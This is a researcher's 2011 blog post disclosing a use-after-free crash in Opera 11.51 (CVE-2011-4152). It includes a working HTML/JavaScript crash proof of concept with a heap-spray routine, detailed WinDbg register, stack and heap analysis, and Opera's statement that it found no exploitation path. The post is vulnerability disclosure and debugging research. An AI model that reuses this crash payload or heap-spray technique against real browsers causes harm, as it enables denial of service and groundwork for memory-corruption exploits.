October 19, 2011

Premise

It is about time for another bug release. It's Opera's turn, again in October, like three years ago when I released that Opera Stored Cross Site Scripting vulnerability. It must be something with Opera, the month of October and myself, but not sure what :-). Usually, I mirror content from Security-Assessment.com web site but I have decided to release the bug under my blog only, since I could not find an exploit for it and Opera does not consider this as a "browser security issue".

Also, according to Opera, the bug is unlikely to be exploited (see last paragraph of this post for more information) and so I am releasing what I got: a crash PoC.

Below, you will find the same bug analysis I have shared with Opera. I need to admit that I have limited experience in debugging (especially heap related issues) and lack of debugging symbols did not really help in this case. However, I have tried my best to analyse the bug and provide as much feedback as possible to Opera. I would also take the opportunity to thank my colleagues Scott Bell and Nick Freeman for their help when looking at possible ways to exploit this bug. Any feedback is also greatly appreciated and welcome and I would love to hear if the bug is actually exploitable :-). You never know.

Bug Details

Name: Opera – Use After Free - Crash PoC
Vendor Website: www.opera.com
Initial Notification Date: October 4th , 2011
Affected Software: Opera v11.51 and previous versions
Researcher: Roberto Suggi Liverani
CVE: CVE-2011-4152

Description

The PoC (Proof of Concept) provided below causes a crash in the latest Opera v.11.51. Previous Opera versions (down to v.11.00) also crash with variations of the included test case. The attached test case crashes the Opera v11.51 browser in both Windows XP and Windows 7 platforms. The bug causes a memory access violation as a result of dereferencing a dangling pointer. The test case includes a JavaScript crash() function which performs DOM operations on the <em> and <strong> HTML elements. Such operations result in a dangling pointer. The crash only occurs when a quick and large memory allocation in the heap, e.g. heap spray (spray() function) immediately follows the object removal from the DOM. As Opera attempts to reallocate previously freed memory during the heap spray, it dereferences the dangling pointer and it crashes.

Crash PoC

<html>
<head>
<script>

function spray() {
for(S="\u0c0c",k=[],y=0;y++<197;)y<20?S+=S:k[y]=[S.substr(22)+"\u4141\u4141"].join("")

}

function crash(){
// Clone Object -> Remove Object - > Append Reference)
obj = document.body.children[0].cloneNode(true)
document.body.removeChild(document.body.children[0])
document.body.appendChild(obj)

// Clone Object -> Remove Object - > Append Reference)
obj = document.body.children[0].cloneNode(true)
document.body.removeChild(document.body.children[0])
document.body.appendChild(obj)

// Clone Object -> Remove Object - > Append Reference)
obj = document.body.children[0].cloneNode(true)
document.body.removeChild(document.body.children[0])
document.body.appendChild(obj)

// Clone Object -> Remove Object - > Heap Spray

obj = document.body.children[1].cloneNode(true)
document.body.removeChild(document.body.children[1]);
spray(); // if this is removed Opera won't crash
}

</script>
</head>
<body onload="crash();">

<em contenteditable="true">a</em>
<strong contenteditable="true">a</strong>

</body>
</html>

Debugging

For simplicity, the analysis below is based on testing on a Windows XP virtual machine using Windbg and Opera 11.51:

Testing Environment
0:000> vertarget
Windows XP Version 2600 UP Free x86 compatible
Product: WinNt, suite: SingleUserTS
kernel32.dll version: 5.1.2600.0 (xpclient.010817-1148)

Analysis – Opera process running under debugger

When Opera is started with Windbg, the crash occurs at 67453c00. Note that the registers values change at each crash. In 90% of the cases, eax register ends up with a value of feeefeee or with a different but invalid memory address value. During the testing, Opera 11.51 always crashed with the provided test case.

Crash – Opera process running under Windbg
This exception may be expected and handled.
eax=feeefeee ebx=00000000 ecx=01634938 edx=01634938 esi=03dc9c30 edi=01ccd26c
eip=67453c00 esp=0012e14c ebp=0012e17c iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010286
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Program Files\Opera\Opera.dll -
Opera!OpSetLaunchMan+0x172840:
67453c00 8b481c mov ecx,dword ptr [eax+1Ch] ds:0023:feeeff0a=????????

The feeefeee indicates the free-fill pattern added by the heap manager to trap any memory accesses to a heap block after it has been freed. A quick look at the bottom of the stack reporting the access violation indicates use of the heap manager.

Stack at the crash
0:000> kL
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e17c 679ff270 Opera!OpSetLaunchMan+0x172840
0012e260 6742247c Opera!OpWaitFileWasPresent+0x26d323
0012e27c 67404148 Opera!OpSetLaunchMan+0x1410bc
0012e290 77fabb68 Opera!OpSetLaunchMan+0x122d88
0012e2c4 77fac859 ntdll!RtlpValidateHeap+0x1e
0012e334 00000000 ntdll!RtlDebugFreeHeap+0x204

During backtracing analysis, it was found that eax register at 67453c00 points to the actual heap block pointer to be allocated (or freed). The spray() function in the template performs a heap spray at address 0x0c0c0c0c of 177 blocks with a memory use of approximately: ~178Mb. Such heap spray creates a condition which makes Opera use previously-freed memory. When Opera attempts to dereference the dangling pointer, an access violation occurs and Opera crashes.

By setting the breakpoint below at 67453c00 (eip value at the crash), it is possible to verify the above by analysing Opera behavior with and without the heap spray. Note that Opera only crashes when the heap spray is performed.

Breakpoint to follow eax values
bp 67453c00 "reax;.printf\"\n\";g"

Without spray() - No crash condition

It appears that eax register points to the UsrPointer, which is the actual pointer of a heap block to be allocated (or freed).

Last 6 eax values – No Heap Spray – No Crash
eax=03e8cc18
eax=03e8cc60
eax=019c1b98
eax=01a06088
eax=03d600d8
eax=03d600d8

Let's take the last value of eax and analyse it. This is the UserPtr of a heap block (_HEAP_ENTRY+0x8 offset).

Valid UserPtr
0:009> !heap -p -a 03d600d8
address 03d600d8 found in
_HEAP @ a50000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03d600d0 0009 0000 [07] 03d600d8 00030 - (busy)
0:009> dd 03d600d0
03d600d0 00140009 00180705 01c2d888 00000000

The pointer seems valid and refers to: 01c2d888 The same thing occurs for the previous eax values, which are always UserPtr pointers.

With spray() - Crash Condition

At some stage, the UserPtr pointer points to previously-freed memory.

Last 4 eax values – with heap spray – crash condition
eax=019abd18
eax=043b23b0
eax=049c0f38
eax=FEEEFEEE

However, let's take a look to a previous eax value: 043b23b0.

Valid Pointer
0:000> !heap -p -a 043b23b0
address 043b23b0 found in
_HEAP @ a50000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
043b23a8 0009 0000 [07] 043b23b0 00030 - (busy)
0:000> dd 043b23a8
043b23a8 000b0009 00180705 01a26c20 00000000

043b23b0 appears a valid pointer. Performing the same analysis with previous eax register values obtained from the breakpoint, it is possible to always find a reference to a valid pointer (UserPtr). However, by looking at the eax value 049c0f38 which is next to the crash, it is possible to see that the pointer refers to an invalid memory location (0000001b).

Dangling Pointer
0:000> !heap -p -a 049c0f38
address 049c0f38 found in
_HEAP @ a50000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
049c0f30 000b 0000 [07] 049c0f38 00040 - (busy)
0:000> dd 049c0f30
049c0f30 000d000b 00180705 0000001b 000003c0

Attaching Debugger To Opera

Analysis by attaching a debugger differs from the previous one, since the heap is constructed without the debugger. The crash point changes from the one identified previously. The crash occurs at 67453be0, within the same function of the previous crash.

Crash – Attaching Debugger To Opera

eax=0000065a ebx=00000000 ecx=0336b150 edx=0336b150 esi=0336b0e0 edi=01afefd4 eip=67453be0 esp=0012e14c ebp=0012e17c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 Opera_672e0000!OpSetLaunchMan+0x172820:

67453be0 83780400 cmp dword ptr [eax+4],0 ds:0023:0000065e=????????

By looking at the stack, it is possible to see a reference to the Front End Manager: RtlpLowFragHeapFree.

Stack – Reference To RtlpLowFragHeapFree

0:000> kL ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong.
0012e17c 679ff270 Opera_672e0000!OpSetLaunchMan+0x172820
0012e260 6742247c Opera_672e0000!OpWaitFileWasPresent+0x26d323
0012e27c 67404148 Opera_672e0000!OpSetLaunchMan+0x1410bc
0012e2b8 67474ae6 Opera_672e0000!OpSetLaunchMan+0x122d88
0012e304 674051b1 Opera_672e0000!OpSetLaunchMan+0x193726
0012e30c 673ec0f4 Opera_672e0000!OpSetLaunchMan+0x123df1
0012e364 67403b0f Opera_672e0000!OpSetLaunchMan+0x10ad34
0012e380 673ff58d Opera_672e0000!OpSetLaunchMan+0x12274f
0012e3a8 674224b0 Opera_672e0000!OpSetLaunchMan+0x11e1cd
0012e3c4 67404148 Opera_672e0000!OpSetLaunchMan+0x1410f0
0012e3dc 77faea0b Opera_672e0000!OpSetLaunchMan+0x122d88
0012e43c 676a5e8b ntdll!RtlpLowFragHeapFree+0xb3
0012e450 674d47ab Opera_672e0000!OpGetNextUninstallFile+0xa1703
0012e470 6740bf8c Opera_672e0000!OpSetLaunchMan+0x1f33eb
0012e4ac 67403b0f Opera_672e0000!OpSetLaunchMan+0x12abcc

Further analysis demonstrated that the value which ends up in eax register at the crash is set at this point:

Breakpoint
77fae9dc ".printf \"RtlpLowFragHeapFree+0x88

The pointer that the above function uses is the one which appears in ecx and edx registers at the crash. This is demonstrated below.

The following debugging sequence in Windbg was used to reach such conclusion:
- Start Opera;
- Attach Windbg to Opera;
- Set following breakpoint:

Breakpoint 0
bp Opera_672e0000!OpWaitFileWasPresent+0x7fd73 6 ".printf \"===INTERESTING FUNCTION===: Opera_672e0000!OpWaitFileWasPresent+0x7fd73 has (EDI+44h) pointer is: %08x which refers to: %08x\\n\", poi(edi+44), poi(poi(edi+44));"

Always 6 passes are needed past this breakpoint. Then:
- g
- Load the test case into Opera

At this point, the breakpoint should be hit. A further breakpoint should be set to break on write operation on the pointer of interest (in this example, the pointer value is 03bea1e0 which comes from edi+44).

Breakpoint 1
ba w 4 poi(edi+44) ".printf \"WRITE ON pointer (edi+44h) - \"; r eip; u eip - 10; r bx; kL;"

Application should continue to run. The debugger will break again and the registers should look something like below with ebp, edx and esi set to 0.

Stack At Breakpoint 1
WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 Opera_672e0000!OpSetLaunchMan+0x169cc7
eax=0360bda0 ebx=0360bd30 ecx=0360bd30 edx=00000000 esi=00000000 edi=0012e5f0
eip=6744b087 esp=0012e5c8 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246

An additional breakpoint is required:

Breakpoint 2
bp 77fae9dc ".printf \"RtlpLowFragHeapFree+0x88 - edi+8 - poi(edi+8): %8x \",
poi(edi+8); r edi+8; r bx;"

At this stage, breakpoint 1 needs to be removed
- bc 1
Then application should continue execution.

The breakpoint 2 will be hit different times. However when poi(edi+8) = 0 for the first time, the register bx should be checked. The value in bx will be the last 2 bytes (ax) of the eax register value at the crash.

Breakpoint 2 Hit – poi(edi+8) = 0
0:000> g
RtlpLowFragHeapFree+0x88 - edi+8 - poi(edi+8): 0
^ Syntax error in '.printf "RtlpLowFragHeapFree+0x88 - edi+8 - poi(edi+8): %8x '
eax=05b20000 ebx=017205c7 ecx=00000156 edx=00000173 esi=036da8b8 edi=03bea1d8
eip=77fae9dc esp=0012e4a4 ebp=0012e4d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206
ntdll!RtlpLowFragHeapFree+0x84:
77fae9dc 66895f08 mov word ptr [edi+8],bx ds:0023:03bea1e0=0000

Note: edi+8 = 0 and bx = 05c7.

Glancing at the stack below, it is possible to see two references to the heap manager (RtlFreeHeap+0x55 and RtlpLowFragHeapFree+0x84). Both have the same argument: 03bea1e0. This is the pointer that it was encountered before and on which breakpoint 1 was set to identify write operations. This pointer will end up in the crash in both ecx and edx registers.

Stack At Breakpoint 2 – poi(edi+8) = 0
0:000> kb
ChildEBP RetAddr Args to Child
0012e4d4 77f84493 0012e5f0 03e54280 03bea1e0 ntdll!RtlpLowFragHeapFree+0x84
0012e598 67604d5a 00a50000 00000000 03bea1e0 ntdll!RtlFreeHeap+0x55
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e5ac 674429b8 03bea1e0 0012e5f0 00000000
Opera_672e0000!OpGetNextUninstallFile+0x5d2
00000000 00000000 00000000 00000000 00000000 Opera_672e0000!OpSetLaunchMan+0x1615f8

Dump memory of 03bea1e0 returns 0000000.

Breakpoint 2 – Memory Dump of 03bea1e0
0:000> dd 03bea1e0
03bea1e0 00000000 00000000 00000000 00000000
03bea1f0 00000000 00000000 00000000 00020080
03bea200 00000000 00000000 00000000 00000000
03bea210 036da8b8 010801ff 01cbcd40 00000000
03bea220 03bea720 03bea250 03bea250 00000000
03bea230 00000000 40120356 00001300 05378640
03bea240 03c4457c 00000000 036da8b8 010801ff
03bea250 03bea218 00000000 00000000 00000000

At this stage, in order to skip directly to the crash all breakpoints need to be removed:
- bc 0
- bc 2
A first chance exception should be encountered, as shown below:

Crash
0:000> g
(24c.d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before
any exception handling.
This exception may be expected and handled.
eax=000005c7 ebx=00000000 ecx=03bea1e0 edx=03bea1e0 esi=03bea250 edi=03778414
eip=67453be0 esp=0012e14c ebp=0012e17c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202
Opera_672e0000!OpSetLaunchMan+0x172820:
67453be0 83780400 cmp dword ptr [eax+4],0
ds:0023:000005cb=????????

As it can be seen, both ecx and edx contain the pointer which was encountered initially and which was used by RtlFreeHeap+0x55 and RtlpLowFragHeapFree+0x84 as well. Dump memory of edx shows the value which eax has at the crash.

edx – Memory Dump
0:000> dd edx
03bea1e0 000005c7 00000000 00000000 00000000
03bea1f0 00000000 00000000 00000000 00020080
03bea200 00000000 00000000 00000000 00000000
03bea210 036da8b8 010801ff 01cbcd40 00000000
03bea220 03bea720 03bea250 03bea250 03e00b90
03bea230 00000000 40120356 40000801 05378640
03bea240 03c4457c 01ba049c 036da8b8 010801ff
03bea250 03bea218 00000000 00000000 00000000

The initial pointer 03bea1e0 (now a dangling pointer) refers to an invalid memory address value. This value ends up in the eax register at the crash.

Statement from Opera:

"We have not been able to see any angles this can be exploited by. The dangling pointer was pointing to an HTML element object, which has no virtual interfaces. The crash happens reliably in a function traversing the tree and finding the next such element, while the stack leading to that function can vary, depending on the circumstances."

Share - permalink - Comment/Contact me